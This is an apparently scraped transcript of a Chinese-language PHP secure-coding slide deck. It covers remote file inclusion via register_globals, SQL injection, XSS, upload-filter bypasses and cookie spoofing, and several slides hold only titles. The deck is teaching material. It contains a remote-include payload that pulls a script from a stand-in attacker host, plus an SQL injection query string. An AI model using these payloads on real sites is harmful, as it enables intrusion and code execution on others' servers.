php safe-code

16
1 security PHP 安安安安 ( 安 ) @ 徐徐徐 ([email protected])

Upload: wysyw

Post on 20-Jun-2015

897 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: Php safe-code

1security

PHP 安全编码 ( 二 )

@徐钦勇 ([email protected])

Page 2: Php safe-code

2security

Register Globals: Example

<?php include "$path/script.php"; ?> 提交一个这样的请求

?path=http%3A%2F%2Fbadboy.remote.com

include 'http://badboy.remote.com/script.php';

这样就产生一个远程包含漏洞

Page 3: Php safe-code

3security

XSS: Example

Page 4: Php safe-code

4security

SQL Injection: Example

Page 5: Php safe-code

5security

数字类型输入

数字大于 2147483647会出现溢出出现负数

Page 6: Php safe-code

6security

查询内容由外部输入

?field=version() from injection_login where 1 #

Page 7: Php safe-code

7security

SQL Injection: Solution

• 过滤输入数据• 单引输入数据 • 转义输入数据, mysql_real_escape_string()

Page 8: Php safe-code

8security

葵花宝典

PHP ScriptFilter Escape

Cookie

Forms

Referer, etc.

xhtml

MYSQL

Page 9: Php safe-code

9security

文件写入点上传文件

写日志文件

Page 10: Php safe-code

10security

文件上传

1. 验证文件类型

2. 验证文件后缀名

Page 11: Php safe-code

11security

文件上传

1.00 截断

2. 畸形文件名

Page 12: Php safe-code

12security

文件上传

Page 13: Php safe-code

13security

文件写入点

写日志文件1.防被下载

2.防被执行

Page 14: Php safe-code

14security

COOKIE 欺诈

Page 15: Php safe-code

15security

Q&A

Page 16: Php safe-code

16security

Reference

•高级PHP应用程序漏洞审核技术